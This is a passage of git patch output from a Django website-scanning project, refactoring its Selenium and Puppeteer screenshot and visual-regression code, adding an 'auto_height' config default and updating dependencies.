-        sizes = configs.get('window_size', '1920,1080').split(',')
-        is_mobile = False
-        if configs.get('device') == 'mobile':
-            is_mobile = True
-        
-        page_options = {
-            'waitUntil': 'networkidle0', 
-            'timeout': int(configs.get('max_wait_time', 30))*1000
-        }
-
-        # requesting page_url to get height of 
-        await page.goto(_page.page_url, page_options)
-
-        # getting full page_height
-        page_height = int(sizes[1])
-        if configs.get('frame_by_frame') == False:
-            page_height = await page.evaluate("document.scrollingElement.scrollHeight;")
-
-        viewport = {
-            'width': int(sizes[0]),
-            'height': int(page_height),
-            'isMobile': is_mobile,
-        }
-        
-        userAgent = (
-            "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
-            (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36"
-        )
-        
-        emulate_options = {
-            'viewport': viewport,
-            'userAgent': userAgent
-        }
-
-        if configs.get('device') == 'mobile':
-            await page.emulate(emulate_options)
-        else:
-            await page.setViewport(viewport)
+        # getting full_page_height
+        if self.configs.get('auto_height', True):
+            full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;")
+            sizes = self.configs.get('window_size', '1920,1080').split(',')
+            driver.set_window_size(int(sizes[0]), int(full_page_height))
 
-        # requesting page_url
-        await page.goto(_page.page_url, page_options)
 
-        
-        if configs.get('disable_animations') == True:
+        if self.configs.get('disable_animations') == True:
             # inserting animation pausing script
             try:
-                await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);")
+                driver.execute_script(self.pause_animations_script)
             except:
                 print('cannot pause animations')
-
-            # pausing videos
+                
+            # inserting video pausing scripts
             try:
-                videos = await page.querySelectorAll('video')
-                for vid in videos:
-                    await page.evaluate('(vid) => vid.pause()', vid)
-            except Exception as e:
-                print(e)
-
+                driver.execute_script(self.pause_video_script)
+            except:
+                print('cannnot pause videos')
 
-        # mask all listed ids
-        if configs.get('mask_ids') is not None and configs.get('mask_ids') != '':
-            ids = configs.get('mask_ids').split(',')
+        # mask all listed ids        
+        if self.configs.get('mask_ids') is not None and self.configs.get('mask_ids') != '':
+            ids = self.configs.get('mask_ids').split(',')
             for id in ids:
                 try:
-                    await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';")
+                    driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';")
                     print('masked an element')
                 except:
                     print('cannot find element via id provided')
 
-
         # mask all Global mask ids that are active
-        @sync_to_async
-        def get_active_global_masks():
-            masks = Mask.objects.filter(active=True)
-            active_masks = []
-            if len(masks) > 0:
-                for mask in masks:
-                    active_masks.append(mask.id)
-            return active_masks
-
-        active_masks = await get_active_global_masks()
-
-        for mask in active_masks:
-            try:
-                await page.evaluate(f"document.getElementById('{mask}').style.visibility='hidden';")
-                print('masked an element')
-            except:
-                print('cannot find element via global mask id provided')
-
+        active_masks = Mask.objects.filter(active=True)
+        if len(active_masks) != 0:
+            for mask in active_masks:
+                try:
+                    driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';")
+                    print('masked an element')
+                except:
+                    print('cannot find element via global mask id provided')
 
         # scroll one frame at a time and capture screenshot
-        image_array = []
+        final_img = None
         index = 0
         last_height = -1
         bottom = False
@@ -854,64 +230,66 @@ def get_active_global_masks():
         while not bottom:
 
             # checking if maxed out time
-            if self.check_timeout(int(configs.get('timeout', 300)), start_time):
+            if self.check_timeout(self.configs.get('timeout', 300), start_time):
                 break
 
             # scroll single frame
             if index != 0:
-                await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);")
-                time.sleep(int(configs.get('min_wait_time', 10)))
+                driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);")
+                time.sleep(int(self.configs.get('min_wait_time', 10)))
 
             # get current position and compare to previous
-            new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight")
+            new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight")
             height_diff = new_height - last_height
             if height_diff > 20:
                 last_height = new_height
                 pic_id = uuid.uuid4()
-
-                # interact with and wait for page to load
-                await page.mouse.move(0, 0)
-                await page.mouse.move(0, 100)
-                time.sleep(int(configs.get('min_wait_time', 10)))
                 
-            
-                # get screenshot
-                await page.screenshot({'path': f'{pic_id}.png'})
+                # waiting for network requests to resolve
+                driver_wait(
+                    driver=driver, 
+                    interval=int(self.configs.get('interval', 5)),  
+                    min_wait_time=int(self.configs.get('min_wait_time', 10)),
+                    max_wait_time=int(self.configs.get('max_wait_time', 30)),
+                )
 
+                # get screenshot
+                driver.save_screenshot(f'{pic_id}.png')
                 image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-                remote_path = f'static/sites/{site.id}/{_page.id}/{scan.id}/{pic_id}.png'
-                root_path = settings.AWS_S3_URL_PATH
-                image_url = f'{root_path}/{remote_path}'
-            
-                # upload to s3
-                with open(image, 'rb') as data:
-                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
-                    )
-                # remove local copy
-                os.remove(image)
-
-                # create image obj and add to list
-                img_obj = {
-                    "index": index,
-                    "id": str(pic_id),
-                    "url": image_url,
-                    "path": remote_path,
-                }
-
-                image_array.append(img_obj)
 
+                # resizing image to remove duplicate portions
+                img = I.open(image)
+                width, height = img.size
+                left = 0
+                top = height - (height_diff/2)
+                right = width
+                _bottom = height
+                new_img = img.crop((left, top, right, _bottom))
+                new_img.save(image, quality=100)
+                            
+                # adding new image to bottom of existing image (if not index = 0)
+                pic_id_2 = uuid.uuid4()
+                if index != 0 and final_img is not None:
+                    self.add_images(final_img, image).save(f'{pic_id_2}.png')
+                    os.remove(final_img)
+                    final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
+                else:
+                    I.open(image).save(f'{pic_id_2}.png')
+                    final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
+                
+                os.remove(image)
                 index += 1 
             
             else:
                 bottom = True
 
-        
-        await driver.close()
-
-        return image_array
+        # saving image
+        self.save_image(pic_id=pic_id_2, image=final_img)
 
+        if not driver_present:
+            quit_driver(driver)
 
+        return self.image_array
 
 
 
@@ -920,40 +298,46 @@ def get_active_global_masks():
 
 
 
-    async def _scan_p(self, scan, configs):
+    async def scan_p(self):
         """
-        Using Puppeteer, grabs multiple screenshots of the website and uploads 
-        them to s3 as a single image.
+        Using Puppeteer, grabs full length screenshots of the website and uploads 
+        them to s3.
         """
 
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
+        @sync_to_async
+        def get_page():
+            _page = self.scan.page
+            return _page
 
-        # get page and site objs
-        site = scan.site
-        _page = scan.page
+        _page = await get_page()
 
-        driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=configs.get('max_wait_time', 30))
+        driver = await driver_init_p(
+            window_size=self.configs.get('window_size', '1920,1080'), 
+            wait_time=int(self.configs.get('max_wait_time', 30))
+        )
         page = await driver.newPage()
 
-        sizes = configs.get('window_size', '1920,1080').split(',')
+        sizes = self.configs.get('window_size', '1920,1080').split(',')
         is_mobile = False
-        if configs.get('device') == 'mobile':
+        if self.configs.get('device') == 'mobile':
             is_mobile = True
         
         page_options = {
             'waitUntil': 'networkidle0', 
-            'timeout': configs.get('max_wait_time', 30)*1000
+            'timeout': int(self.configs.get('max_wait_time', 30))*1000
         }
 
+        # requesting page_url to get height of 
+        await page.goto(_page.page_url, page_options)
+
+        # getting full page_height
+        page_height = int(sizes[1])
+        if self.configs.get('auto_height', True):
+            page_height = await page.evaluate("document.scrollingElement.scrollHeight;")
+
         viewport = {
             'width': int(sizes[0]),
-            'height': int(sizes[1]),
+            'height': int(page_height),
             'isMobile': is_mobile,
         }
         
@@ -967,7 +351,7 @@ async def _scan_p(self, scan, configs):
             'userAgent': userAgent
         }
 
-        if configs.get('device') == 'mobile':
+        if self.configs.get('device') == 'mobile':
             await page.emulate(emulate_options)
         else:
             await page.setViewport(viewport)
@@ -975,10 +359,10 @@ async def _scan_p(self, scan, configs):
         # requesting page_url
         await page.goto(_page.page_url, page_options)
 
-        if configs.get('disable_animations') == True:
+        if self.configs.get('disable_animations') == True:
             # inserting animation pausing script
             try:
-                await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);")
+                await page.evaluate(self.pause_animations_script)
             except:
                 print('cannot pause animations')
 
@@ -991,8 +375,8 @@ async def _scan_p(self, scan, configs):
                 print(e)
 
         # mask all listed ids
-        if configs.get('mask_ids') is not None and configs.get('mask_ids') != '':
-            ids = configs.get('mask_ids').split(',')
+        if self.configs.get('mask_ids') is not None and self.configs.get('mask_ids') != '':
+            ids = self.configs.get('mask_ids').split(',')
             for id in ids:
                 try:
                     await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';")
@@ -1006,8 +390,9 @@ async def _scan_p(self, scan, configs):
         def get_active_global_masks():
             masks = Mask.objects.filter(active=True)
             active_masks = []
-            for mask in masks:
-                active_masks.append(mask.id)
+            if len(masks) > 0:
+                for mask in masks:
+                    active_masks.append(mask.id)
             return active_masks
 
         active_masks = await get_active_global_masks()
@@ -1018,22 +403,13 @@ def get_active_global_masks():
                 print('masked an element')
             except:
                 print('cannot find element via global mask id provided')
-
-
-        # vertically concats two images
+    
         @sync_to_async
-        def add_images(im1, im2):
-            im1 = I.open(im1)
-            im2 = I.open(im2)
-            new_img = I.new('RGB', (im1.width, im1.height + im2.height))
-            new_img.paste(im1, (0, 0))
-            new_img.paste(im2, (0, im1.height))
-            return new_img
-
+        def save_image(*args, **kwargs):
+            self.save_image(pic_id=pic_id, image=final_img)
 
         # scroll one frame at a time and capture screenshot
         final_img = None
-        image_array = []
         index = 0
         last_height = -1
         bottom = False
@@ -1041,13 +417,13 @@ def add_images(im1, im2):
         while not bottom:
 
             # checking if maxed out time
-            if self.check_timeout(configs.get('timeout', 300), start_time):
+            if self.check_timeout(int(self.configs.get('timeout', 300)), start_time):
                 break
 
             # scroll single frame
             if index != 0:
                 await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);")
-                time.sleep(int(configs.get('min_wait_time', 10)))
+                time.sleep(int(self.configs.get('min_wait_time', 10)))
 
             # get current position and compare to previous
             new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight")
@@ -1059,61 +435,44 @@ def add_images(im1, im2):
                 # interact with and wait for page to load
                 await page.mouse.move(0, 0)
                 await page.mouse.move(0, 100)
-                time.sleep(int(configs.get('min_wait_time', 10)))
-                
+                time.sleep(int(self.configs.get('min_wait_time', 10)))
             
                 # get screenshot
                 await page.screenshot({'path': f'{pic_id}.png'})
                 image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
                 
+                # resizing image to remove duplicate portions
+                img = I.open(image)
+                width, height = img.size
+                left = 0
+                top = height - (height_diff)
+                right = width
+                _bottom = height
+                new_img = img.crop((left, top, right, _bottom))
+                new_img.save(image, quality=100)
+                
                 # adding new image to bottom of existing image (if not index = 0)
                 pic_id_2 = uuid.uuid4()
                 if index != 0 and final_img is not None:
-                    new_img = await add_images(final_img, image)
-                    new_img.save(f'{pic_id_2}.png')
+                    self.add_images(final_img, image).save(f'{pic_id_2}.png')
                     os.remove(final_img)
                     final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
                 else:
                     I.open(image).save(f'{pic_id_2}.png')
                     final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
                 
-                # remove local copy
                 os.remove(image)
-
                 index += 1 
             
             else:
                 bottom = True
-
-
-        remote_path = f'static/sites/{site.id}/{_page.id}/{scan.id}/{pic_id_2}.png'
-        root_path = settings.AWS_S3_URL_PATH
-        image_url = f'{root_path}/{remote_path}'
-    
-        # upload to s3
-        with open(final_img, 'rb') as data:
-            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
-            )
-       
-
-        # create image obj and add to list
-        img_obj = {
-            "index": 0,
-            "id": str(pic_id_2),
-            "url": image_url,
-            "path": remote_path,
-        }
-
-        image_array.append(img_obj)
         
-        # remove local copy
-        os.remove(final_img)
+        # saving image
+        await save_image(pic_id=pic_id, image=final_img)
 
-        
         await driver.close()
 
-        return image_array
+        return self.image_array
 
 
 
@@ -1135,14 +494,6 @@ def test(self, test, index=None):
             - cv2 ORB Brute-force Matcher, Ratio
         """
 
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
-
         # setup temp dirs
         if not os.path.exists(os.path.join(settings.BASE_DIR, f'temp/{test.id}')):
             os.makedirs(os.path.join(settings.BASE_DIR, f'temp/{test.id}'))
@@ -1175,7 +526,7 @@ def test(self, test, index=None):
             # getting pre_scan image
             pre_img_path = os.path.join(temp_root, f'{pre_img_obj["id"]}.png')
             with open(pre_img_path, 'wb') as data:
-                s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), pre_img_obj["path"], data)
+                self.s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), pre_img_obj["path"], data)
             
             # getting post_scan image
             try:
@@ -1186,7 +537,7 @@ def test(self, test, index=None):
             if post_img_obj is not None:
                 post_img_path = os.path.join(temp_root, f'{post_img_obj["id"]}.png')
                 with open(post_img_path, 'wb') as data:
-                    s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), post_img_obj["path"], data)
+                    self.s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), post_img_obj["path"], data)
                 
                 # open images with PIL Image library
                 post_img = I.open(post_img_path)
@@ -1266,7 +617,7 @@ def save_images(pre_img_id, post_img_id, index):
                     
                         # upload to s3
                         with open(image, 'rb') as data:
-                            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                            self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
                                 remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
                             )
                         
@@ -1417,186 +768,3 @@ def cv2_score(pre_img, post_img):
 
 
 
-
-
-
-
-
-
-    def screenshot(self, site=None, url=None, configs=None, driver=None):
-        """
-        Grabs single screenshot of the website and uploads 
-        it to s3.
-        """
-
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
-
-        if not configs:
-            configs = {
-                "interval": 5,
-                "window_size": "1920,1080",
-                "max_wait_time": 60,
-                "min_wait_time": 10,
-                "device": "desktop"
-            }
-
-        # initialize driver if not passed as param
-        if not driver:
-            driver = driver_init(window_size=configs.get('window_size', '1920,1080'), device=configs.get('device'))
-
-
-        # get or create site data
-        if site is None:
-            site_id = uuid.uuid4()
-            site_url = url
-        else:
-            site_id = site.id
-            site_url = site.site_url
-        
-        # request site_url 
-        driver.get(site_url)
-
-
-        # wait for site to fully load
-        driver_wait(
-            driver=driver, 
-            interval=int(configs.get('interval', 5)),  
-            min_wait_time=int(configs.get('min_wait_time', 10)),
-            max_wait_time=int(configs.get('max_wait_time', 30)),
-        )
-
-        # grab screenshot
-        pic_id = uuid.uuid4()
-        driver.save_screenshot(f'{pic_id}.png')
-        image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-        remote_path = f'static/sites/{site_id}/{page.id}/{pic_id}.png'
-        root_path = settings.AWS_S3_URL_PATH
-        image_url = f'{root_path}/{remote_path}'
-    
-        # upload to s3
-        with open(image, 'rb') as data:
-            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
-            )
-        # remove local copy
-        os.remove(image)
-
-        # create image obj and add to list
-        img_obj = {
-            "id": str(pic_id),
-            "url": image_url,
-            "path": remote_path,
-        }
-
-        # quit driver
-        quit_driver(driver)
-
-        return img_obj
-
-
-
-    async def screenshot_p(self, site=None, url=None, configs=None):
-        """
-        Using Puppeteer, grabs single screenshot of the website and uploads 
-        it to s3.
-        """
-
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
-
-        if not configs:
-            configs = {
-                "interval": 5,
-                "driver": "puppeteer",
-                "device": "desktop",
-                "window_size": "1920,1080",
-                "max_wait_time": 60,
-                "min_wait_time": 10
-            }
-
-        driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=configs.get('max_wait_time', 30))
-        page = await driver.newPage()
-
-        sizes = configs.get('window_size', '1920,1080').split(',')
-        is_mobile = False
-        if configs.get('device') == 'mobile':
-            is_mobile = True
-        
-        page_options = {
-            'waitUntil': 'networkidle0', 
-            'timeout': configs.get('max_wait_time', 30)*1000
-        }
-
-        viewport = {
-            'width': int(sizes[0]),
-            'height': int(sizes[1]),
-            'isMobile': is_mobile,
-        }
-        
-        userAgent = (
-            "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
-            (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36"
-        )
-        
-        emulate_options = {
-            'viewport': viewport,
-            'userAgent': userAgent
-        }
-
-        if configs.get('device') == 'mobile':
-            await page.emulate(emulate_options)
-        else:
-            await page.setViewport(viewport)
-
-        # get or create site data
-        if site is None:
-            site_id = uuid.uuid4()
-            site_url = url
-        else:
-            site_id = site.id
-            site_url = site.site_url
-        
-        # request site_url 
-        await page.goto(site_url, page_options)
-
-        # interact with and wait for page to load
-        await page.mouse.move(0, 0)
-        await page.mouse.move(0, 100)
-        time.sleep(int(configs.get('min_wait_time', 10)))
-
-        # get screenshot
-        pic_id = uuid.uuid4()
-        await page.screenshot({'path': f'{pic_id}.png'})
-        await driver.close()
-        image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-        remote_path = f'static/sites/{site_id}/{page.id}/{pic_id}.png'
-        root_path = settings.AWS_S3_URL_PATH
-        image_url = f'{root_path}/{remote_path}'
-
-        # upload to s3
-        with open(image, 'rb') as data:
-            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
-            )
-        # remove local copy
-        os.remove(image)
-
-        # create image obj and add to list
-        img_obj = {
-            "id": str(pic_id),
-            "url": image_url,
-            "path": remote_path,
-        }
-
-        return img_obj
\ No newline at end of file
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 3dff8362..b719d292 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -84,7 +84,7 @@ def first_scan(self):
             if 'logs' in self.scan.type or 'full' in self.scan.type:
                 logs = self.driver.get_log('browser')
             if 'vrt' in self.scan.type or 'full' in self.scan.type:
-                images = Image().scan_full(scan=self.scan, driver=self.driver, configs=self.configs)
+                images = Image(scan=self.scan, configs=self.configs).scan_s(driver=self.driver)
             quit_driver(self.driver)
         else:
             driver_data = asyncio.run(
@@ -98,7 +98,7 @@ def first_scan(self):
             if 'logs' in self.scan.type or 'full' in self.scan.type:
                 logs = driver_data['logs']
             if 'vrt' in self.scan.type or 'full' in self.scan.type:
-                images = asyncio.run(Image().scan_p_full(scan=self.scan, configs=self.configs))
+                images = asyncio.run(Image(scan=self.scan, configs=self.configs).scan_p())
         
         if 'lighthouse' in self.scan.type or 'full' in self.scan.type:
             lh_data = Lighthouse(scan=self.scan, configs=self.configs).get_data() 
@@ -162,7 +162,7 @@ def second_scan(self):
             if 'logs' in second_scan.type or 'full' in second_scan.type:
                 logs = self.driver.get_log('browser')
             if 'vrt' in second_scan.type or 'full' in second_scan.type:
-                images = Image().scan_full(scan=second_scan, driver=self.driver, configs=self.configs)
+                images = Image(scan=self.second_scan, configs=self.configs).scan_s(driver=self.driver)
             quit_driver(self.driver)
         else:
             driver_data = asyncio.run(
@@ -176,7 +176,7 @@ def second_scan(self):
             if 'logs' in second_scan.type or 'full' in second_scan.type:
                 logs = driver_data['logs']
             if 'vrt' in second_scan.type or 'full' in second_scan.type:
-                images = asyncio.run(Image().scan_p_full(scan=second_scan, configs=self.configs))
+                images = asyncio.run(Image(scan=self.second_scan, configs=self.configs).scan_p())
         
         if 'lighthouse' in second_scan.type or 'full' in second_scan.type:
             lh_data = Lighthouse(scan=second_scan, configs=self.configs).get_data() 
@@ -505,11 +505,11 @@ def _vrt(scan_id, test_id, automation_id):
     try:
         if scan.configs['driver'] == 'selenium':
             driver = driver_s_init(window_size=scan.configs['window_size'], device=scan.configs['device'])
-            images = Image().scan_full(scan=scan, driver=driver, configs=scan.configs)
+            images = Image(scan=scan, configs=scan.configs).scan_s(driver=driver)
             quit_driver(driver)
 
         if scan.configs['driver'] == 'puppeteer':
-            images = asyncio.run(Image().scan_p_full(scan=scan, configs=scan.configs))
+            images = asyncio.run(Image(scan=scan, configs=scan.configs).scan_p())
         
         # updating Scan object
         scan = Scan.objects.get(id=scan_id)

From ce1c9137f1675778c33d4d47463d015f47772d98 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 23 Aug 2023 20:21:37 -0500
Subject: [PATCH 135/752] fixed default configs obj

---
 app/api/v1/ops/services.py | 18 ++++++++++++------
 1 file changed, 12 insertions(+), 6 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index a500c51d..7339b29f 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -120,7 +120,8 @@ def create_site(request, delay=False):
                 'min_wait_time': 10,
                 'max_wait_time': 60,
                 'timeout': 300,
-                'disable_animations': False
+                'disable_animations': False,
+                'auto_height': True
             }
 
         if no_scan == False:
@@ -216,7 +217,8 @@ def crawl_site(request, id):
             'min_wait_time': 10,
             'max_wait_time': 60,
             'timeout': 300,
-            'disable_animations': False
+            'disable_animations': False,
+            'auto_height': True
         }
 
     # update site info
@@ -419,7 +421,8 @@ def create_page(request, delay=False):
                 'min_wait_time': 10,
                 'max_wait_time': 60,
                 'timeout': 300,
-                'disable_animations': False
+                'disable_animations': False,
+                'auto_height': True
             }
 
         if no_scan == False:
@@ -518,7 +521,8 @@ def create_many_pages(request, obj_response=False):
                     'min_wait_time': 10,
                     'max_wait_time': 60,
                     'timeout': 300,
-                    'disable_animations': False
+                    'disable_animations': False,
+                    'auto_height': True
                 }
 
             if no_scan == False:
@@ -784,7 +788,8 @@ def create_scan(request=None, delay=False, *args, **kwargs):
             'min_wait_time': 10,
             'max_wait_time': 60,
             'timeout': 300,
-            'disable_animations': False
+            'disable_animations': False,
+            'auto_height': True
         }
 
     if site_id is not None and page_id is None:
@@ -1193,7 +1198,8 @@ def create_test(request=None, delay=False, *args, **kwargs):
             'min_wait_time': 10,
             'max_wait_time': 60,
             'timeout': 300,
-            'disable_animations': False
+            'disable_animations': False,
+            'auto_height': True
         }
 
 

From f7ef33143f921284b26cffbc802eb31043bd545b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 24 Aug 2023 12:23:39 -0500
Subject: [PATCH 136/752] removed sewar

---
 app/api/utils/image.py | 1 -
 requirements.txt       | 1 -
 2 files changed, 2 deletions(-)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 02b4d977..99440fa7 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -5,7 +5,6 @@
 from selenium.webdriver.chrome.options import Options
 from django.forms.models import model_to_dict
 from django.core.serializers.json import DjangoJSONEncoder
-from sewar.full_ref import uqi, mse, ssim, msssim, psnr, ergas, vifp, rase, sam, scc
 from skimage.metrics import structural_similarity
 from scanerr import settings
 from PIL import Image as I, ImageChops, ImageStat
diff --git a/requirements.txt b/requirements.txt
index e546b252..8300f623 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -41,7 +41,6 @@ scikit-image==0.21.0
 scipy==1.8.0
 selenium==4.1.3
 sendgrid==6.9.7
-sewar==0.4.4 
 six==1.16.0
 slack-sdk==3.11.2
 sqlparse==0.4.1

From b077d33664e4f0189115cf8075c64bb2efa407e3 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 24 Aug 2023 12:38:46 -0500
Subject: [PATCH 137/752] added default args to Image()

---
 app/api/utils/image.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 99440fa7..e5cf3a03 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -42,7 +42,7 @@ def test(test=<test:object>) -> compares each
     """
 
 
-    def __init__(self, scan, configs):
+    def __init__(self, scan=None, configs=None):
 
         # main scan object
         self.scan = scan

From a540ce87e4925b431902361ec2d50a2b9ee83f79 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 26 Aug 2023 15:03:40 -0500
Subject: [PATCH 138/752] upgraded deps & fixed image conversion issues

---
 app/api/utils/driver_s.py | 12 +++++-------
 app/api/utils/image.py    |  6 ++++--
 requirements.txt          |  4 ++--
 3 files changed, 11 insertions(+), 11 deletions(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 96b8abda..000ca100 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -1,6 +1,6 @@
 from selenium import webdriver
-from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
 from selenium.webdriver import ActionChains
+from selenium.webdriver.common.by import By
 import time, os, numpy, json, sys
 
 
@@ -29,7 +29,7 @@ def driver_init(
         ) 
     }
 
-    chromedriver_path = os.environ.get("CHROMEDRIVER")
+    # chromedriver_path = os.environ.get("CHROMEDRIVER")
     options = webdriver.ChromeOptions()
     options.binary_location = os.environ.get('CHROMIUM')
     options.add_argument("--no-sandbox")
@@ -40,14 +40,12 @@ def driver_init(
     options.add_argument("--disable-dev-shm-usage")
     options.add_argument("--force-device-scale-factor=0.5")
     options.add_argument("--window-size=%s" % window_size) 
+    options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
 
     if device == 'mobile':
         options.add_experimental_option("mobileEmulation", mobile_emulation)
 
-    caps = DesiredCapabilities.CHROME
-    caps['goog:loggingPrefs'] = {'performance': 'ALL'}
-
-    driver = webdriver.Chrome(executable_path=chromedriver_path, options=options, desired_capabilities=caps)
+    driver = webdriver.Chrome(options=options)
     driver.set_page_load_timeout(load_timeout)
     driver.set_script_timeout(script_timeout)
     driver.implicitly_wait(wait_time)
@@ -111,7 +109,7 @@ def get_request_list(driver):
 
     def interact_with_page(driver):
         # simulate mouse movement and click on <html> tag
-        html_tag = driver.find_elements_by_tag_name('html')[0]
+        html_tag = driver.find_elements(By.TAG_NAME, 'html')[0]
         action = ActionChains(driver)
         action.move_to_element(html_tag).perform()
         return
diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index e5cf3a03..a6684863 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -548,12 +548,14 @@ def test(self, test, index=None):
 
                 # pre_img is longer
                 if pre_img_h > post_img_h:
-                    new_pre_img = pre_img.crop((0, 0, pre_img_w, post_img_h))
+                    print(f'pre_img is larger, adjusting...')
+                    new_pre_img = pre_img.crop((0, 0, pre_img_w, post_img_h)).convert(mode=post_img.mode)
                     new_pre_img.save(pre_img_path, quality=100)
                     pre_img = I.open(pre_img_path)
                 # post_img is longer
                 if post_img_h > pre_img_h:
-                    new_post_img = post_img.crop((0, 0, post_img_w, pre_img_h))
+                    print(f'post_img is larger, adjusting...')
+                    new_post_img = post_img.crop((0, 0, post_img_w, pre_img_h)).convert(mode=pre_img.mode)
                     new_post_img.save(post_img_path, quality=100)
                     post_img = I.open(post_img_path)
 
diff --git a/requirements.txt b/requirements.txt
index 8300f623..6887ed19 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -4,7 +4,7 @@ beautifulsoup4==4.12.2
 billiard==3.6.4.0
